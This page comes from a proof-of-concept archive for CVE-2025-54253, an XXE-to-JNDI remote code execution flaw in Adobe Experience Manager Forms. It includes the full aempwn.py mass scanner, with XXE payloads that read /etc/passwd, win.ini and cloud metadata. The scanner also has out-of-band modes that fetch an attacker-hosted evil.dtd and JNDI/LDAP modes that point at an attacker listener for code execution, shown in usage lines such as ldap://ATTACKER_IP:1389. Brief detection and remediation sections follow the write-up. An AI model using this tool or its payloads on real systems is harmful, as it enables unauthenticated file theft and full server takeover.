PoC Archive PoC Archive
Critical CVE-2025-54253 unpatched

Adobe Experience Manager Forms XXE to JNDI RCE Scanner (CVE-2025-54253)

by Dividesbyzer0 (zoomdbz) · 2026-07-06

CVSS 10.0/10
Severity
Critical
CVE
CVE-2025-54253
Category
web
Affected product
Adobe Experience Manager (AEM) Forms (JEE)
Affected versions
Per source repository — configuration-dependent AEM Forms deployments with unsafe XML parsing enabled on form submission endpoints
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherDividesbyzer0 (zoomdbz)
CVE / AdvisoryCVE-2025-54253
Categoryweb
SeverityCritical
CVSS Score10.0 (per NVD)
StatusWeaponized
Tagsadobe, aem, aem-forms, xxe, xml-external-entity, jndi, ldap, rce, python, cve-2025-54254
RelatedCVE-2025-54254 (companion XXE file-disclosure bug handled by the same tool)

Affected Target

FieldValue
Software / SystemAdobe Experience Manager (AEM) Forms (JEE)
Versions AffectedPer source repository — configuration-dependent AEM Forms deployments with unsafe XML parsing enabled on form submission endpoints
Language / PlatformPython 3 (scanner) targeting Java/JEE AEM Forms server endpoints
Authentication RequiredNo
Network Access RequiredYes

Summary

AEM Forms exposes several form-submission endpoints (e.g. /content/forms/af/submit, /services/SubmitForm, /bin/receive, /lc/submit) that parse attacker-supplied XML without disabling external entity resolution. The root cause is an XML parser configured to resolve SYSTEM/parameter entities, letting an unauthenticated attacker read local files, trigger outbound requests, and — via a chained JNDI/LDAP reference — force the JVM to fetch and execute an attacker-hosted Java class. The aempwn.py tool implements three escalating modes: a safe canary/leak-detection probe (--poc), a blind out-of-band XXE confirmation mode that fetches a remote DTD (--oob), and a full RCE mode (--rce) that sends an XXE payload pointing at an attacker LDAP listener to achieve remote code execution via JNDI class loading (the classic marshalsec-style LDAP reference attack). Impact ranges from local file/config disclosure to full remote code execution on the AEM Forms server.


Vulnerability Details

Root Cause

The AEM Forms submission endpoints parse client-supplied XML bodies with an XML parser that has external entity resolution enabled. This lets an attacker declare a DOCTYPE with a SYSTEM entity that the parser dereferences at parse time — either a local file:// URI (disclosure) or a remote URI (SSRF/OOB confirmation), and, when a parameter entity is used to fetch an external DTD referencing a jndi:/ldap: scheme, the AEM/JVM stack resolves the JNDI reference and loads a remote Java class, achieving code execution. Example probe payload from aempwn.py:

1
2
3
4
5
6
XXE_PROBES = {
    "linux_passwd": """<?xml version="1.0"?>
<!DOCTYPE t [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<request><probe>&xxe;</probe></request>""",
    ...
}

Attack Vector

  1. Attacker sends a canary XML payload to each candidate endpoint to confirm the server reflects/accepts arbitrary XML (behavior_probe).
  2. Attacker sends XXE probes targeting /etc/hostname, /etc/passwd, C:\Windows\win.ini, and cloud metadata (169.254.169.254) to confirm local file read and SSRF capability (--poc mode); responses are heuristically classified as real leaks vs. generic error/HTML pages.
  3. For blind confirmation, attacker sends a parameter-entity payload referencing an external DTD hosted on infrastructure they control (--oob), proving the parser fetches remote resources.
  4. For full RCE (--rce), attacker points the parameter entity at an ldap:// URL served by a tool like marshalsec, which responds with a reference to a remote Java class; the AEM JVM connects to the LDAP listener, fetches the class from an attacker HTTP server, and executes its static initializer (e.g. Runtime.getRuntime().exec(...)).

Impact

An unauthenticated attacker can disclose arbitrary local files and internal network/cloud metadata, and ultimately achieve full remote code execution on the AEM Forms server under the AEM service account, leading to complete compromise of the host.


Environment / Lab Setup

Target:   AEM Forms (JEE) instance with an unsafe XML-parsing form endpoint reachable over HTTP(S)
Attacker: Python 3 + requests + colorama (pip install requests colorama)
Optional (for --oob):  HTTP server capable of serving an evil.dtd file (attacker-controlled)
Optional (for --rce):  LDAP listener serving a JNDI reference (e.g. marshalsec
                        `java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389`)
                        plus an HTTP server hosting the compiled Exploit.class

Proof of Concept

PoC Script

See aempwn.py in this folder.

1
2
3
4
5
6
7
python aempwn.py -u https://TARGET

python aempwn.py -f hosts.txt -t 20

python aempwn.py -f hosts.txt --oob http://ATTACKER_HOST

python aempwn.py -u TARGET --rce ldap://ATTACKER_IP:1389/#Exploit

Detection & Indicators of Compromise

POST requests to AEM form endpoints (/content/forms/af/submit, /services/SubmitForm,
/bin/receive, /lc/submit, /lc/content/submit) with Content-Type: application/xml
bodies containing <!DOCTYPE ... SYSTEM|ldap|jndi> declarations

Signs of compromise:

  • Inbound XML request bodies containing <!DOCTYPE, SYSTEM "file://, or SYSTEM "ldap:// / jndi: references.
  • Outbound connections from the AEM server to unfamiliar HTTP or LDAP hosts (port 1389/389 or attacker HTTP ports) immediately following an XML form submission.
  • Unexpected classloading or Runtime.exec invocations in AEM/JVM logs correlating with form submission timestamps.
  • Presence of small, non-HTML/non-JSON plaintext fragments (e.g. hostnames, /etc/passwd lines) in HTTP responses from form endpoints.

Remediation

ActionDetail
Primary fixApply Adobe’s official security patch for CVE-2025-54253/CVE-2025-54254 and disable external entity/DTD processing (DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) or equivalent) in all XML parsers used by AEM Forms submission handlers.
Interim mitigationRestrict outbound network access from the AEM Forms server (block egress to arbitrary HTTP/LDAP), disable unused form submission endpoints, and front endpoints with a WAF rule blocking <!DOCTYPE / <!ENTITY in request bodies.

References


Notes

Mirrored from https://github.com/zoomdbz/AEMPWN on 2026-07-06. aempwn.py is a genuine multi-mode (safe-probe/OOB/full) Python scanner sending real XXE payloads against known AEM Forms endpoints; RCE mode requires attacker-controlled LDAP/HTTP infrastructure (e.g. marshalsec) and is not self-contained.

aempwn.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
#!/usr/bin/env python3

import argparse, requests, sys, re, time, hashlib
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import Fore, Style, init

init(autoreset=True)
requests.packages.urllib3.disable_warnings()

RED = Fore.RED
GREEN = Fore.GREEN
YELLOW = Fore.YELLOW
BOLD = Style.BRIGHT
RESET = Style.RESET_ALL

TIMEOUT = 10
DEFAULT_OUT = "aempwn-results.txt"

AEM_ENDPOINTS = [
    "/content/forms/af/submit",
    "/services/SubmitForm",
    "/bin/receive",
    "/lc/submit",
    "/lc/content/submit",
]

SAFE_CANARY = "AEMPWN_" + hashlib.sha1(str(time.time()).encode()).hexdigest()[:10]
SAFE_CANARY_PAYLOAD = f"<request><probe>{SAFE_CANARY}</probe></request>"

XXE_PROBES = {
    "linux_hostname": """<?xml version="1.0"?>
<!DOCTYPE t [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<request><probe>&xxe;</probe></request>""",

    "linux_passwd": """<?xml version="1.0"?>
<!DOCTYPE t [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<request><probe>&xxe;</probe></request>""",

    "windows_ini": """<?xml version="1.0"?>
<!DOCTYPE t [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]>
<request><probe>&xxe;</probe></request>""",

    "aws_metadata": """<?xml version="1.0"?>
<!DOCTYPE t [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/hostname"> ]>
<request><probe>&xxe;</probe></request>""",
}


def banner():
    print(RED + r"""
 █████╗ ███████╗███╗   ███╗██████╗ ██╗    ██╗███╗   ██╗
██╔══██╗██╔════╝████╗ ████║██╔══██╗██║    ██║████╗  ██║
███████║█████╗  ██╔████╔██║██████╔╝██║ █╗ ██║██╔██╗ ██║
██╔══██║██╔══╝  ██║╚██╔╝██║██╔═══╝ ██║███╗██║██║╚██╗██║
██║  ██║███████╗██║ ╚═╝ ██║██║     ╚███╔███╔╝██║ ╚████║
╚═╝  ╚═╝╚══════╝╚═╝     ╚═╝╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝
   by Dividesbyzer0
   CVE-2025-54253  |  CVE-2025-54254
   Adobe Experience Manager Forms XXE → RCE Framework
""" + RESET)

def normalize(t):
    return t.rstrip("/") if t.startswith("http") else "https://" + t.rstrip("/")

def post(url, body):
    return requests.post(
        url,
        data=body,
        headers={"Content-Type": "application/xml"},
        timeout=TIMEOUT,
        verify=False,
        allow_redirects=False,
    )

def looks_like_leak(text: str) -> bool:
    if not text:
        return False
    t = text.strip()
    # Too big = almost certainly framework error page
    if len(t) > 200:
        return False
    low = t.lower()
    # Generic structured response killers (not vendor-specific)
    BLOCKERS = (
        "<html",
        "<!doctype",
        "<?xml",
        "<error",
        "fault",
        "exception",
        "access denied",
        "not found",
        "forbidden",
        "method not allowed",
        "{",
        "}",
    )
    if any(b in low for b in BLOCKERS):
        return False
    # Common real file leak patterns
    # hostnames, container names, short config values, passwd lines, env-style
    SIMPLE_FILE_PATTERNS = [
        r"^[a-zA-Z0-9][a-zA-Z0-9\-\.]{2,40}$",         # hostname
        r"^ip-\d+-\d+-\d+-\d+$",                     # AWS style hostname
        r"^[a-zA-Z0-9_\-]+$",                        # simple token/string
        r"^[^:]+:[^:]*:\d+:\d+:",                    # /etc/passwd line
        r"^[A-Z_]+=.+$",                             # ENV=value
    ]
    for p in SIMPLE_FILE_PATTERNS:
        if re.match(p, t):
            return True
    return False


def behavior_probe(url):
    try:
        r = post(url, SAFE_CANARY_PAYLOAD)
        return SAFE_CANARY in (r.text or "")
    except:
        return False

def write_hit(out, base, items):
    with open(out, "a", encoding="utf-8") as f:
        f.write(base + "\n")
        for i in items:
            f.write(f" {i}\n")
        f.write("\n")

def scan_target(target, oob_url, rce_ldap, verbose):
    base = normalize(target)
    hits = []
    score = 0
    surface = False

    for ep in AEM_ENDPOINTS:
        url = base + ep

        if behavior_probe(url):
            surface = True
            hits.append(f"Unsafe XML parser surface at {ep}")
            score += 1

        for name, payload in XXE_PROBES.items():
            try:
                r = post(url, payload)
                leak = r.text
                if looks_like_leak(leak):
                    hits.append(f"XXE {name} leak at {ep}: {leak.strip()}")
                    score += 3
            except:
                pass
        
        if oob_url:
            try:
                post(url, f"""<?xml version="1.0"?>
<!DOCTYPE t [ <!ENTITY % remote SYSTEM "{oob_url}/evil.dtd"> %remote; ]>
<request><probe>ok</probe></request>""")
            except:
                pass

        if rce_ldap:
            try:
                post(url, f"""<?xml version="1.0"?>
<!DOCTYPE t [ <!ENTITY % remote SYSTEM "{rce_ldap}"> %remote; ]>
<request><probe>ok</probe></request>""")
            except:
                pass


    if not surface and score == 0:
        if verbose:
            print(f"{GREEN}[-] {base} no signals{RESET}")
        return False, base, []

    if oob_url:
        hits.append(f"OOB XXE payload sent → {oob_url}/evil.dtd (check listener)")
        score += 2

    if rce_ldap:
        hits.append(f"JNDI RCE payload sent → {rce_ldap} (check LDAP listener)")
        score += 5

    print(f"{BOLD}{RED}[+] {base} VULNERABLE score={score}{RESET}")
    for h in hits:
        print(f"{RED} {h}{RESET}")

    return True, base, hits

def scan_file(path, threads, oob_url, rce_ldap, verbose, out):
    with open(path) as f:
        targets = [l.strip() for l in f if l.strip()]

    print(f"[*] Loaded {len(targets)} targets | threads={threads}\n")

    with ThreadPoolExecutor(max_workers=threads) as ex:
        futures = [ex.submit(scan_target, t, oob_url, rce_ldap, verbose) for t in targets]
        for fut in as_completed(futures):
            ok, base, hits = fut.result()
            if ok:
                write_hit(out, base, hits)

def main():
    banner()

    parser = argparse.ArgumentParser(
        description="AEMPWN - AEM Forms XXE → RCE scanner for CVE-2025-54253 & CVE-2025-54254",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  Single target safe detection:
    python aempwn.py -u https://target.com

  Mass scan with threading:
    python aempwn.py -f hosts.txt -t 20

  Blind XXE exfil:
    python aempwn.py -f hosts.txt --oob http://abc.oastify.com

  RCE escalation (JNDI):
    python aempwn.py -u target.com --rce ldap://1.2.3.4:1389/#Exploit

Notes:
  --oob requires hosting evil.dtd
  --rce requires LDAP listener (marshalsec, etc)
"""
    )

    parser.add_argument("-u", "--url", help="Single target (domain or full URL)")
    parser.add_argument("-f", "--file", help="File with targets (one per line)")
    parser.add_argument("-t", "--threads", type=int, default=10, help="Thread count (default 10)")
    parser.add_argument("--oob", type=str, help="OOB XXE mode — base URL hosting evil.dtd (ex: http://your.oastify.com)")
    parser.add_argument("--rce", type=str, help="RCE JNDI mode — LDAP URL (ex: ldap://server:1389/#Exploit)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    parser.add_argument("-o", "--out", default=DEFAULT_OUT, help=f"Output file (default: {DEFAULT_OUT})")

    args = parser.parse_args()

    if args.oob and args.rce:
        print(f"{RED}[-] Use either --oob or --rce, not both{RESET}")
        sys.exit(1)

    oob_url = args.oob
    rce_ldap = args.rce

    if args.oob and not oob_url:
        print(f"{RED}[-] --oob requires a URL{RESET}")
        sys.exit(1)

    if args.rce and not rce_ldap:
        print(f"{RED}[-] --rce requires an LDAP URL{RESET}")
        sys.exit(1)

    if args.url:
        ok, base, hits = scan_target(args.url, oob_url, rce_ldap, args.verbose)
        if ok:
            write_hit(args.out, base, hits)
        return

    if args.file:
        scan_file(args.file, args.threads, oob_url, rce_ldap, args.verbose, args.out)
        return

    parser.print_help()

if __name__ == "__main__":
    main()